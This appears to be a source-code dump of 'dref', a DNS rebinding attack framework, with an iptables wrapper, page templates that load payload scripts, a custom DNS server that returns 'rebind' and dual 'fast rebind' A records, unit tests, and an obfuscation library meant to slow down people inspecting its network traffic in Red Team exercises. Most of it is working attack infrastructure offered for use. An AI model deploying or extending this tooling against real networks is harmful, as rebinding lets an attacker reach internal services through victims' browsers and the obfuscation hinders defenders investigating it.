18 | NAT: 'nat'
19 | })
20 |
21 | export const Chain = Object.freeze({
22 | INPUT: 'INPUT',
23 | PREROUTING: 'PREROUTING'
24 | })
25 |
26 | function getRule ({ table, command, chain, target, fromPort, toPort, srcAddress }) {
27 | fromPort = fromPort || null
28 | toPort = toPort || null
29 | srcAddress = srcAddress || null
30 |
31 | let args = []
32 | args = args.concat(['-t', table])
33 | args = args.concat([command, chain])
34 | args = args.concat(['-p', 'tcp'])
35 |
36 | if (srcAddress) args = args.concat(['--src', srcAddress])
37 | if (fromPort) args = args.concat(['--dport', fromPort])
38 |
39 | args = args.concat(['-j', target])
40 |
41 | if (target === Target.REJECT) args = args.concat(['--reject-with', 'tcp-reset'])
42 | if (toPort) args = args.concat(['--to-port', toPort])
43 |
44 | return args
45 | }
46 |
47 | function checkRuleExists (args) {
48 | // returns true if the rule with args alreadys exists
49 | return new Promise((resolve, reject) => {
50 | const check = spawn('iptables', args)
51 |
52 | check.on('close', (code) => {
53 | if (code === 1) return resolve(false)
54 | return resolve(true)
55 | })
56 | })
57 | }
58 |
59 | export function execute ({ table, command, chain, target, fromPort, toPort, srcAddress } = {}) {
60 | return new Promise((resolve, reject) => {
61 | fromPort = fromPort || null
62 | toPort = toPort || null
63 | srcAddress = srcAddress || null
64 |
65 | checkRuleExists(getRule({
66 | table: table,
67 | command: Command.CHECK,
68 | chain: chain,
69 | target: target,
70 | fromPort: fromPort,
71 | toPort: toPort,
72 | srcAddress: srcAddress
73 | })).then((exists) => {
74 | if (([Command.APPEND, Command.INSERT].includes(command) && exists) || (command === Command.DELETE && !exists)) {
75 | console.log(`ignoring execute(${table}, ${command}, ${chain}, ${target}, ${fromPort}, ${toPort}, ${srcAddress})`)
76 | resolve(true)
77 | }
78 |
79 | const iptables = spawn('iptables', getRule({
80 | table: table,
81 | command: command,
82 | chain: chain,
83 | target: target,
84 | fromPort: fromPort,
85 | toPort: toPort,
86 | srcAddress: srcAddress
87 | }))
88 |
89 | iptables.on('close', (code) => {
90 | if (code === 0) {
91 | console.log(`success execute(${table}, ${command}, ${chain}, ${target}, ${fromPort}, ${toPort}, ${srcAddress})`)
92 | resolve(true)
93 | } else {
94 | console.log(`fail execute(${table}, ${command}, ${chain}, ${target}, ${fromPort}, ${toPort}, ${srcAddress})`)
95 | resolve(false)
96 | }
97 | })
98 | })
99 | })
100 | }
101 |
--------------------------------------------------------------------------------
/dref/api/src/views/error.pug:
--------------------------------------------------------------------------------
1 | extends layout
2 |
3 | block content
4 | h1= message
5 | h2= error.status
6 | pre #{error.stack}
7 |
--------------------------------------------------------------------------------
/dref/api/src/views/index.pug:
--------------------------------------------------------------------------------
1 | extends layout
2 |
3 | block content
4 | script.
5 | var env = !{JSON.stringify(env).replace(/<\//g, '<\\/')}
6 | var args = !{JSON.stringify(args).replace(/<\//g, '<\\/')}
7 |
8 | script(src="/scripts/" + script + ".js")
9 |
10 | if hang
11 | img(style="display:none", src="/hang")
12 |
--------------------------------------------------------------------------------
/dref/api/src/views/layout.pug:
--------------------------------------------------------------------------------
1 | doctype html
2 | html
3 | body
4 | block content
5 |
--------------------------------------------------------------------------------
/dref/dns/.babelrc:
--------------------------------------------------------------------------------
1 | {
2 | "presets": ["env"]
3 | }
4 |
--------------------------------------------------------------------------------
/dref/dns/.eslintrc.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | "extends": "standard",
3 | "env": {
4 | "jest": true,
5 | "jasmine": true
6 | }
7 | };
8 |
--------------------------------------------------------------------------------
/dref/dns/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "dns-server",
3 | "version": "1.0.0",
4 | "private": true,
5 | "main": "dist/server.js",
6 | "scripts": {
7 | "test": "eslint src/**/*.js tests/**/*.js && jest",
8 | "build": "babel src -d dist",
9 | "start": "node dist/server.js",
10 | "dev": "nodemon --legacy-watch --ignore 'dist/*' --exec 'npm run build && node' dist/server.js"
11 | },
12 | "author": "",
13 | "license": "ISC",
14 | "devDependencies": {
15 | "codecov": "^3.0.2",
16 | "eslint": "^5.0.1",
17 | "eslint-config-standard": "^12.0.0",
18 | "eslint-plugin-import": "^2.12.0",
19 | "eslint-plugin-node": "^7.0.0",
20 | "eslint-plugin-promise": "^4.0.0",
21 | "eslint-plugin-standard": "^4.0.0",
22 | "jest": "^23.1.0",
23 | "mongodb-memory-server": "^2.0.0",
24 | "nodemon": "^1.18.7"
25 | },
26 | "jest": {
27 | "coverageDirectory": "./coverage/",
28 | "collectCoverage": true,
29 | "testEnvironment": "node"
30 | },
31 | "dependencies": {
32 | "babel-cli": "^6.26.0",
33 | "babel-jest": "^23.4.0",
34 | "babel-preset-env": "^1.7.0",
35 | "mongoose": "^5.2.11",
36 | "yamljs": "^0.3.0"
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/dref/dns/src/dns/answer.js:
--------------------------------------------------------------------------------
1 | export default class DNSAnswer {
2 | constructor (id, qname, qtype, addresses = []) {
3 | /**
4 | * Constructs a DNSAnswer object based on the RFC
5 | * https://tools.ietf.org/html/rfc1035#section-4.1.3
6 | *
7 | * Expects address to be IPv4 string, the rest in integers
8 | */
9 |
10 | this.id = id
11 | this.qname = qname
12 | this.qtype = qtype
13 | this.addresses = addresses
14 | }
15 |
16 | toBuffer () {
17 | /**
18 | * Returns a Buffer representation of this DNSAnswer
19 | */
20 |
21 | const header = this._getHeaderBuffer()
22 | const question = this._getQuestionBuffer()
23 |
24 | if (this.addresses.length) {
25 | return Buffer.concat([header, question, this._getAnswerBuffer()])
26 | } else {
27 | return Buffer.concat([header, question])
28 | }
29 | }
30 |
31 | _getHeaderBuffer () {
32 | /**
33 | * Return a buffer of the DNSAnswer header
34 | */
35 | const header = Buffer.alloc(12)
36 |
37 | // id
38 | header.writeUInt16BE(this.id, 0)
39 |
40 | /**
41 | * cf. RFC: https://tools.ietf.org/html/rfc1035#section-4.1.1
42 | *
43 | * byte_2 is 0 1 2 3 4 5 6 7
44 | * |QR| Opcode |AA|TC|RD|
45 | * 1 0 0 0 0 1 0 0
46 | *
47 | * qr=1, opcode=0, aa=1, tc=0, rd=0
48 | *
49 | * which gives us 0x84
50 | */
51 | header.writeUInt8(0x84, 2)
52 |
53 | /**
54 | * cf. RFC: https://tools.ietf.org/html/rfc1035#section-4.1.1
55 | *
56 | * byte_3 is 0 1 2 3 4 5 6 7
57 | * |RA| Z | RCODE |
58 | *
59 | * ra=0, z=0, rcode=0 or 1
60 | *
61 | * which gives us 0x00 for normal answer and 0x01 for error
62 | */
63 | if (this.addresses.length) header.writeUInt8(0x00, 3)
64 | else header.writeUInt8(0x04, 3)
65 |
66 | // qdcount
67 | header.writeUInt16BE(0x01, 4)
68 | // ancount
69 | header.writeUInt16BE(1 * this.addresses.length, 6)
70 | // nscount
71 | header.writeUInt16BE(0x00, 8)
72 | // arcount
73 | header.writeUInt16BE(0x00, 10)
74 |
75 | return header
76 | }
77 |
78 | _getQuestionBuffer () {
79 | /**
80 | * Return a buffer of the DNSAnswer question
81 | */
82 | const qnameLabels = this.qname.split('.')
83 | // questionSize is:
84 | // - the number of labels (one byte for each label length)
85 | // - the aggregated length of the labels
86 | // - 1 byte for the null terminator
87 | // - 4 bytes total for qtype and qclass
88 | const questionSize = qnameLabels.length + qnameLabels.join('').length + 5
89 | const question = Buffer.alloc(questionSize)
90 |
91 | // qname
92 | let offset = 0
93 | for (let i in qnameLabels) {
94 | question.writeUInt8(qnameLabels[i].length, offset)
95 | question.write(qnameLabels[i], offset + 1)
96 | offset += qnameLabels[i].length + 1
97 | }
98 | question.writeUInt8(0x00, offset)
99 |
100 | // qtype
101 | question.writeUInt16BE(this.qtype, offset + 1)
102 | // qclass
103 | question.writeUInt16BE(1, offset + 3)
104 |
105 | return question
106 | }
107 |
108 | _getAnswerBuffer () {
109 | /**
110 | * Return a buffer of the DNSAnswer answer section
111 | */
112 | // record size is:
113 | // - 2 byte name pointer
114 | // - 2 byte type
115 | // - 2 byte class
116 | // - 4 byte ttl
117 | // - 2 byte rdlength
118 | // - 4 byte rdata for an A record
119 |
120 | // allocate 16 bytes for each record
121 | const answer = Buffer.alloc(16 * this.addresses.length)
122 |
123 | for (let i = 0; i < this.addresses.length; i++) {
124 | // name - pointer will always be 0xc00c (the first byte of the question)
125 | answer.writeUInt16BE(0xc00c, 0 + 16 * i)
126 | // type
127 | answer.writeUInt16BE(1, 2 + 16 * i)
128 | // class - always IN
129 | answer.writeUInt16BE(1, 4 + 16 * i)
130 | // ttl
131 | answer.writeUInt32BE(1, 6 + 16 * i)
132 | // rdlength - always 4 for A record
133 | answer.writeUInt16BE(4, 10 + 16 * i)
134 | // rdata
135 | const addressInts = this.addresses[i].split('.')
136 | for (let j = 0; j < addressInts.length; j++) {
137 | answer.writeUInt8(addressInts[j], 12 + j + 16 * i)
138 | }
139 | }
140 |
141 | return answer
142 | }
143 | }
144 |
--------------------------------------------------------------------------------
/dref/dns/src/dns/handler.js:
--------------------------------------------------------------------------------
1 | import DNSQuestion from './question'
2 | import DNSAnswer from './answer'
3 | import ARecord from '../models/ARecord'
4 |
5 | export default class DNSHandler {
6 | query (data, rinfo) {
7 | return new Promise((resolve, reject) => {
8 | let query
9 | try {
10 | query = new DNSQuestion(data)
11 | } catch (err) {
12 | console.log(`parsing error: ${rinfo.address}:${rinfo.port}`)
13 | resolve(null)
14 | }
15 |
16 | console.log(`question: ${rinfo.address}:${rinfo.port} - ${JSON.stringify(query)}`)
17 |
18 | if (query.qtype !== 1) {
19 | // empty response to other queries
20 | resolve(new DNSAnswer(query.id, query.qname, query.qtype))
21 | }
22 |
23 | // A query (qtype === 1)
24 | this._lookup(query.qname.toLowerCase()).then(record => {
25 | let addresses = []
26 |
27 | if (record) {
28 | if (record.dual) {
29 | // return both the target address and the default address when using
30 | // dual A record mode ("fast rebind")
31 | addresses.push(global.config.general.address)
32 | addresses.push(record.address)
33 | } else if (record.rebind) {
34 | // "slow rebind" uses a single A record after payload-defined
35 | // trigger
36 | addresses.push(record.address)
37 | } else {
38 | // if there's a record for this target but we're not using fast
39 | // rebind and we've not received a trigger for slow rebind
40 | // we just dish out the default
41 | addresses.push(global.config.general.address)
42 | }
43 | } else if (query.qname.endsWith(global.config.general.domain)) {
44 | addresses.push(global.config.general.address)
45 | }
46 |
47 | resolve(new DNSAnswer(query.id, query.qname, query.qtype, addresses))
48 | })
49 | })
50 | }
51 |
52 | _lookup (domain) {
53 | return new Promise((resolve) => {
54 | ARecord.findOne({ domain: domain }, (err, record) => {
55 | if (err || record === null) resolve(null)
56 | resolve(record)
57 | })
58 | })
59 | }
60 | }
61 |
--------------------------------------------------------------------------------
/dref/dns/src/dns/question.js:
--------------------------------------------------------------------------------
1 | export default class DNSQuestion {
2 | constructor (data) {
3 | /**
4 | * Constructs a DNSQuestion object based on the RFC
5 | * https://tools.ietf.org/html/rfc1035#section-4.1.2
6 | *
7 | * Expects data to be a Buffer
8 | */
9 |
10 | this.id = data.readUInt16BE(0)
11 |
12 | // get the qname
13 | const qnameLabels = []
14 | let offset = 12
15 |
16 | do {
17 | // get the length octet
18 | let _length = data.readInt8(offset)
19 | qnameLabels.push(data.toString('utf8', offset + 1, offset + 1 + _length))
20 | offset += _length + 1
21 | }
22 | while (data.readInt8(offset) !== 0)
23 |
24 | this.qname = qnameLabels.join('.')
25 | // get qtype and qclass, using offset which is now on the qname null terminator
26 | this.qtype = data.readInt16BE(offset + 1)
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/dref/dns/src/models/ARecord.js:
--------------------------------------------------------------------------------
1 | import mongoose from 'mongoose'
2 |
3 | var ARecordSchema = new mongoose.Schema({
4 | domain: {
5 | type: String,
6 | required: true,
7 | unique: true
8 | },
9 | address: {
10 | type: String,
11 | default: '127.0.0.1'
12 | },
13 | rebind: {
14 | type: Boolean,
15 | default: false
16 | },
17 | // a dual entry will return two A records: the arecord.address above and the
18 | // server's default address
19 | dual: {
20 | type: Boolean,
21 | default: false
22 | }
23 | })
24 |
25 | export default mongoose.model('ARecord', ARecordSchema)
26 |
--------------------------------------------------------------------------------
/dref/dns/src/server.js:
--------------------------------------------------------------------------------
1 | import { createSocket } from 'dgram'
2 | import YAML from 'yamljs'
3 | import mongoose from 'mongoose'
4 | import DNSHandler from './dns/handler'
5 |
6 | /**
7 | * Load Config
8 | */
9 | global.config = YAML.load('/tmp/dref-config.yml')
10 |
11 | /**
12 | * Connect to MongoDB
13 | */
14 | mongoose.connect('mongodb://mongo:27017/dref')
15 |
16 | /**
17 | * Set up Service
18 | */
19 | const server = createSocket('udp4')
20 | const handler = new DNSHandler()
21 |
22 | server.on('message', (data, rinfo) => {
23 | handler.query(data, rinfo).then(answer => {
24 | if (!answer) return
25 | const answerBuffer = answer.toBuffer()
26 |
27 | server.send(answerBuffer, 0, answerBuffer.length, rinfo.port, rinfo.address, () => {
28 | console.log(`answer: ${rinfo.address}:${rinfo.port} - ${JSON.stringify(answer)}`)
29 | })
30 | })
31 | })
32 |
33 | server.on('error', (err) => {
34 | console.log(`server error: ${err.stack}`)
35 | })
36 |
37 | server.on('listening', () => {
38 | const address = server.address()
39 | console.log(`server listening: ${address.address}:${address.port}`)
40 | })
41 |
42 | server.bind(53)
43 |
--------------------------------------------------------------------------------
/dref/dns/tests/dns/answer.test.js:
--------------------------------------------------------------------------------
1 | import DNSAnswer from '../../src/dns/answer'
2 |
3 | test('creates DNS answer', () => {
4 | const answer = new DNSAnswer(0xabab, 'test.random.co.uk', 1, ['192.168.1.1'])
5 |
6 | expect(answer.id).toEqual(0xabab)
7 | expect(answer.qname).toEqual('test.random.co.uk')
8 | expect(answer.qtype).toEqual(1)
9 | expect(answer.addresses).toEqual(['192.168.1.1'])
10 | })
11 |
12 | test('creates header Buffer with ancount "1" when address present', () => {
13 | const answer = new DNSAnswer(0xabab, 'test.random.co.uk', 1, ['192.168.1.1'])
14 |
15 | const expectedBuffer = Buffer.from([
16 | 0xab, 0xab, // id
17 | 0x84, // qr, opcode, aa, tc, rd
18 | 0x00, // ra, z, rcode
19 | 0x00, 0x01, // qdcount
20 | 0x00, 0x01, // ancount
21 | 0x00, 0x00, // nscount
22 | 0x00, 0x00 // arcount
23 | ])
24 |
25 | expect(answer._getHeaderBuffer()).toEqual(expectedBuffer)
26 | })
27 |
28 | test('creates header Buffer with rcode "not implemented" and ancode "0" when no address present', () => {
29 | const answer = new DNSAnswer(0xabab, 'test.random.co.uk', 1)
30 |
31 | const expectedBuffer = Buffer.from([
32 | 0xab, 0xab, // id
33 | 0x84, // qr, opcode, aa, tc, rd
34 | 0x04, // ra, z, rcode
35 | 0x00, 0x01, // qdcount
36 | 0x00, 0x00, // ancount
37 | 0x00, 0x00, // nscount
38 | 0x00, 0x00 // arcount
39 | ])
40 |
41 | expect(answer._getHeaderBuffer()).toEqual(expectedBuffer)
42 | })
43 |
44 | test('creates question Buffer with constructor params', () => {
45 | const answer = new DNSAnswer(0xabab, 'x.abc.com', 2)
46 |
47 | const expectedBuffer = Buffer.from([
48 | 0x01, 0x78, 0x03, 0x61, 0x62, 0x63, 0x03, 0x63, 0x6f, 0x6d, 0x00, // qname
49 | 0x00, 0x02, // qtype
50 | 0x00, 0x01 // qclass
51 | ])
52 |
53 | expect(answer._getQuestionBuffer()).toEqual(expectedBuffer)
54 | })
55 |
56 | test('creates answer Buffer with constructor params', () => {
57 | const answer = new DNSAnswer(0xabab, 'x.abc.com', 1, ['255.255.255.255'])
58 |
59 | const expectedBuffer = Buffer.from([
60 | 0xc0, 0x0c, // name pointer to first byte of question
61 | 0x00, 0x01, // type
62 | 0x00, 0x01, // class
63 | 0x00, 0x00, 0x00, 0x01, // ttl
64 | 0x00, 0x04, // rdlength
65 | 0xff, 0xff, 0xff, 0xff // rdata
66 | ])
67 |
68 | expect(answer._getAnswerBuffer()).toEqual(expectedBuffer)
69 | })
70 |
71 | test('creates Buffer with answer', () => {
72 | const answer = new DNSAnswer(0xabab, 'x.abc.com', 1, ['255.255.255.255'])
73 |
74 | const expectedBuffer = Buffer.from([
75 | // header
76 | 0xab, 0xab, // id
77 | 0x84, // qr, opcode, aa, tc, rd
78 | 0x00, // ra, z, rcode
79 | 0x00, 0x01, // qdcount
80 | 0x00, 0x01, // ancount
81 | 0x00, 0x00, // nscount
82 | 0x00, 0x00, // arcount
83 | // question
84 | 0x01, 0x78, 0x03, 0x61, 0x62, 0x63, 0x03, 0x63, 0x6f, 0x6d, 0x00, // qname
85 | 0x00, 0x01, // qtype
86 | 0x00, 0x01, // qclass
87 | // answer
88 | 0xc0, 0x0c, // name pointer to first byte of question
89 | 0x00, 0x01, // type
90 | 0x00, 0x01, // class
91 | 0x00, 0x00, 0x00, 0x01, // ttl
92 | 0x00, 0x04, // rdlength
93 | 0xff, 0xff, 0xff, 0xff // rdata
94 | ])
95 |
96 | expect(answer.toBuffer()).toEqual(expectedBuffer)
97 | })
98 |
99 | test('creates Buffer without answer', () => {
100 | const answer = new DNSAnswer(0xabab, 'x.abc.com', 1)
101 |
102 | const expectedBuffer = Buffer.from([
103 | // header
104 | 0xab, 0xab, // id
105 | 0x84, // qr, opcode, aa, tc, rd
106 | 0x04, // ra, z, rcode
107 | 0x00, 0x01, // qdcount
108 | 0x00, 0x00, // ancount
109 | 0x00, 0x00, // nscount
110 | 0x00, 0x00, // arcount
111 | // question
112 | 0x01, 0x78, 0x03, 0x61, 0x62, 0x63, 0x03, 0x63, 0x6f, 0x6d, 0x00, // qname
113 | 0x00, 0x01, // qtype
114 | 0x00, 0x01 // qclass
115 | ])
116 |
117 | expect(answer.toBuffer()).toEqual(expectedBuffer)
118 | })
119 |
--------------------------------------------------------------------------------
/dref/dns/tests/dns/handler.test.js:
--------------------------------------------------------------------------------
1 | import mongoose from 'mongoose'
2 | import MongodbMemoryServer from 'mongodb-memory-server'
3 | import ARecord from '../../src/models/ARecord'
4 | import DNSHandler from '../../src/dns/handler'
5 |
6 | jasmine.DEFAULT_TIMEOUT_INTERVAL = 60000
7 |
8 | let mongoServer
9 |
10 | beforeAll(async () => {
11 | mongoServer = new MongodbMemoryServer()
12 | const mongoUri = await mongoServer.getConnectionString()
13 | await mongoose.connect(mongoUri, {}, (err) => {
14 | if (err) console.error(err)
15 | })
16 | await ARecord.create({ domain: 'x.hello.com', address: '1.2.3.4', rebind: 'false' })
17 | await ARecord.create({ domain: 'y.hello.com', address: '1.2.3.4', rebind: 'true' })
18 | await ARecord.create({ domain: 'z.hello.com', address: '1.2.3.4', rebind: 'true', dual: 'true' })
19 | })
20 |
21 | afterAll(() => {
22 | mongoose.disconnect()
23 | mongoServer.stop()
24 | })
25 |
26 | test('returns answer with address for A record of default domain', async () => {
27 | global.config = { general: { domain: 'helloworld.com', address: '10.0.0.1' } }
28 | const handler = new DNSHandler()
29 | const rinfo = { address: '127.0.0.1', port: '1234' }
30 | // $ dig a helloworld.com @localhost
31 | const queryData = Buffer.from([
32 | 0xed, 0x0f, 0x01, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
33 | 0x0a, 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x77, 0x6f, 0x72, 0x6c, 0x64, 0x03,
34 | 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x29, 0x10,
35 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
36 | ])
37 |
38 | await handler.query(queryData, rinfo).then(answer => {
39 | expect(answer.addresses).toBeTruthy()
40 | })
41 | })
42 |
43 | test('returns answer without address for A record of unknown domain', async () => {
44 | // $ dig a helloworld.com @localhost
45 | global.config = { general: { domain: 'domain.example', address: '10.0.0.1' } }
46 | const handler = new DNSHandler()
47 | const rinfo = { address: '127.0.0.1', port: '1234' }
48 | const queryData = Buffer.from([
49 | 0xed, 0x0f, 0x01, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
50 | 0x0a, 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x77, 0x6f, 0x72, 0x6c, 0x64, 0x03,
51 | 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x29, 0x10,
52 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
53 | ])
54 |
55 | await handler.query(queryData, rinfo).then(answer => {
56 | expect(answer.addresses.length).toEqual(0)
57 | })
58 | })
59 |
60 | test('returns answer without address for non-A record', async () => {
61 | // $ dig a helloworld.com @localhost
62 | global.config = { general: { domain: 'domain.example', address: '10.0.0.1' } }
63 | const handler = new DNSHandler()
64 | const rinfo = { address: '127.0.0.1', port: '1234' }
65 | const queryData = Buffer.from([
66 | 0xed, 0x0f, 0x01, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
67 | 0x0a, 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x77, 0x6f, 0x72, 0x6c, 0x64, 0x03,
68 | 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x29, 0x10,
69 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
70 | ])
71 |
72 | await handler.query(queryData, rinfo).then(answer => {
73 | expect(answer.addresses.length).toEqual(0)
74 | })
75 | })
76 |
77 | test('returns null on parsing error', async () => {
78 | global.config = { general: { domain: 'hello.com', address: '10.0.0.1' } }
79 | const handler = new DNSHandler()
80 | const rinfo = { address: '127.0.0.1', port: '1234' }
81 | const queryData = Buffer.from([0x00])
82 |
83 | await handler.query(queryData, rinfo).then(answer => {
84 | expect(answer).toBeNull()
85 | })
86 | })
87 |
88 | test('_lookup() returns a known record', async () => {
89 | global.config = { general: { domain: 'hello.com', address: '10.0.0.1' } }
90 |
91 | await (new DNSHandler())._lookup('x.hello.com').then(record => {
92 | expect(record).toMatchObject({
93 | domain: 'x.hello.com',
94 | address: '1.2.3.4',
95 | rebind: false
96 | })
97 | })
98 | })
99 |
100 | test('_lookup() returns null for unknown record', async () => {
101 | await (new DNSHandler())._lookup('unknown.host').then(address => {
102 | expect(address).toBeNull()
103 | })
104 | })
105 |
106 | test('returns answer with default address for A record when no rebind', async () => {
107 | global.config = { general: { domain: 'hello.com', address: '10.0.0.1' } }
108 | const handler = new DNSHandler()
109 | const rinfo = { address: '127.0.0.1', port: '1234' }
110 | // $ dig a x.hello.com @localhost
111 | const queryData = Buffer.from([
112 | 0xaa, 0xaa, 0x01, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
113 | 0x01, 0x78, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x03, 0x63, 0x6f, 0x6d,
114 | 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x29, 0x10, 0x00, 0x00, 0x00,
115 | 0x00, 0x00, 0x00, 0x00
116 | ])
117 |
118 | await handler.query(queryData, rinfo).then(answer => {
119 | expect(answer.addresses).toEqual(['10.0.0.1'])
120 | })
121 | })
122 |
123 | test('returns answer with defined address for A record when rebind', async () => {
124 | global.config = { general: { domain: 'hello.com', address: '10.0.0.1' } }
125 | const handler = new DNSHandler()
126 | const rinfo = { address: '127.0.0.1', port: '1234' }
127 | // $ dig a y.hello.com @localhost
128 | const queryData = Buffer.from([
129 | 0xaa, 0xaa, 0x01, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
130 | 0x01, 0x79, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x03, 0x63, 0x6f, 0x6d,
131 | 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x29, 0x10, 0x00, 0x00, 0x00,
132 | 0x00, 0x00, 0x00, 0x00
133 | ])
134 |
135 | await handler.query(queryData, rinfo).then(answer => {
136 | expect(answer.addresses).toEqual(['1.2.3.4'])
137 | })
138 | })
139 |
140 | test('returns answer with two addresses for dual record', async () => {
141 | global.config = { general: { domain: 'hello.com', address: '10.0.0.1' } }
142 | const handler = new DNSHandler()
143 | const rinfo = { address: '127.0.0.1', port: '1234' }
144 | // $ dig a z.hello.com @localhost
145 | const queryData = Buffer.from([
146 | 0xaa, 0xaa, 0x01, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
147 | 0x01, 0x7a, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x03, 0x63, 0x6f, 0x6d,
148 | 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x29, 0x10, 0x00, 0x00, 0x00,
149 | 0x00, 0x00, 0x00, 0x00
150 | ])
151 |
152 | await handler.query(queryData, rinfo).then(answer => {
153 | expect(answer.addresses).toEqual(['10.0.0.1', '1.2.3.4'])
154 | })
155 | })
156 |
--------------------------------------------------------------------------------
/dref/dns/tests/dns/question.test.js:
--------------------------------------------------------------------------------
1 | import DNSQuestion from '../../src/dns/question'
2 |
3 | test('parses DNS A record', () => {
4 | const bufferARecord = Buffer.from([
5 | 0xb9, 0x36, 0x84, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
6 | 0x06, 0x72, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x02, 0x63, 0x6f, 0x02, 0x75,
7 | 0x6b, 0x00, 0x00, 0x01, 0x00, 0x01, 0xc0, 0x0c, 0x00, 0x01, 0x00, 0x01,
8 | 0x00, 0x00, 0x00, 0x01, 0x00, 0x04, 0xc0, 0xa8, 0x01, 0x01])
9 |
10 | const question = new DNSQuestion(bufferARecord)
11 |
12 | expect(question.id).toEqual(0xb936)
13 | expect(question.qname).toEqual('random.co.uk')
14 | expect(question.qtype).toEqual(1)
15 | })
16 |
17 | test('parses DNS NS record', () => {
18 | const bufferNSRecord = Buffer.from([
19 | 0x33, 0xc9, 0x01, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
20 | 0x06, 0x72, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x02, 0x63, 0x6f, 0x02, 0x75,
21 | 0x6b, 0x00, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x29, 0x10, 0x00, 0x00,
22 | 0x00, 0x00, 0x00, 0x00, 0x00])
23 |
24 | const question = new DNSQuestion(bufferNSRecord)
25 |
26 | expect(question.id).toEqual(0x33c9)
27 | expect(question.qname).toEqual('random.co.uk')
28 | expect(question.qtype).toEqual(2)
29 | })
30 |
--------------------------------------------------------------------------------
/dref/scripts/.eslintrc.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | "extends": "standard",
3 | "env": {
4 | "browser": 1
5 | }
6 | };
7 |
--------------------------------------------------------------------------------
/dref/scripts/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "payload",
3 | "version": "1.0.0",
4 | "private": true,
5 | "main": "index.js",
6 | "scripts": {
7 | "dev": "webpack-dev-server --progress --mode development --display-error-details"
8 | },
9 | "keywords": [],
10 | "author": "",
11 | "license": "ISC",
12 | "devDependencies": {
13 | "eslint": "^5.0.1",
14 | "eslint-config-standard": "^12.0.0",
15 | "eslint-loader": "^2.0.0",
16 | "eslint-plugin-import": "^2.11.0",
17 | "eslint-plugin-node": "^7.0.0",
18 | "eslint-plugin-promise": "^4.0.0",
19 | "eslint-plugin-standard": "^4.0.0",
20 | "webpack": "^4.8.3",
21 | "webpack-cli": "^3.0.8",
22 | "webpack-dev-server": "^3.1.4",
23 | "webpack-obfuscator": "^0.18.0",
24 | "webpack-watched-glob-entries-plugin": "^2.1.2"
25 | },
26 | "dependencies": {
27 | "ip-cidr": "^2.0.0",
28 | "netmap.js": "^1.0.0"
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/dref/scripts/src/libs/crypto.js:
--------------------------------------------------------------------------------
1 | /**
2 | * This is _NOT_ intended to enable secure transmission of data.
3 | * This is _NOT_ intended to be secure cryptography.
4 | * This is just some obfuscation.
5 | *
6 | * It's only intended to very slightly slow down someone investigating the
7 | * network traffic.
8 | *
9 | * In the future this will be improved and obfuscation of the JavaScript
10 | * payloads will slow down investigative efforts some more.
11 | *
12 | * Obfuscation is only really a concern for potential use in Red Team exercises.
13 | */
14 |
15 | export const staticKey = 'eea46dfa5dead1bbc1d6d5c9'
16 |
17 | export function randomHex (n) {
18 | var id = ''
19 | var range = '0123456789abcdef'
20 |
21 | for (var i = 0; i < n; i++) {
22 | id += range.charAt(Math.floor(Math.random() * range.length))
23 | }
24 |
25 | return id
26 | }
27 |
28 | // https://stackoverflow.com/questions/30651062/how-to-use-the-xor-on-two-strings
29 | export function xor (a, b) {
30 | // xor two hex strings
31 | var res = ''
32 | var i = a.length
33 | var j = b.length
34 |
35 | while (i-- > 0 && j-- > 0) {
36 | res = (parseInt(a.charAt(i), 16) ^ parseInt(b.charAt(j), 16)).toString(16) + res
37 | }
38 |
39 | return res
40 | }
41 |
42 | // https://gist.github.com/salipro4ever/e234addf92eb80f1858f
43 | export function rc4 (key, str) {
44 | var s = []
45 | var j = 0
46 | var x
47 | var res = ''
48 |
49 | for (var i = 0; i < 256; i++) {
50 | s[i] = i
51 | }
52 |
53 | for (i = 0; i < 256; i++) {
54 | j = (j + s[i] + key.charCodeAt(i % key.length)) % 256
55 | x = s[i]
56 | s[i] = s[j]
57 | s[j] = x
58 | }
59 |
60 | i = 0
61 | j = 0
62 |
63 | for (var y = 0; y < str.length; y++) {
64 | i = (i + 1) % 256
65 | j = (j + s[i]) % 256
66 | x = s[i]
67 | s[i] = s[j]
68 | s[j] = x
69 | res += String.fromCharCode(str.charCodeAt(y) ^ s[(s[i] + s[j]) % 256])
70 | }
71 |
72 | return res
73 | }
74 |
--------------------------------------------------------------------------------
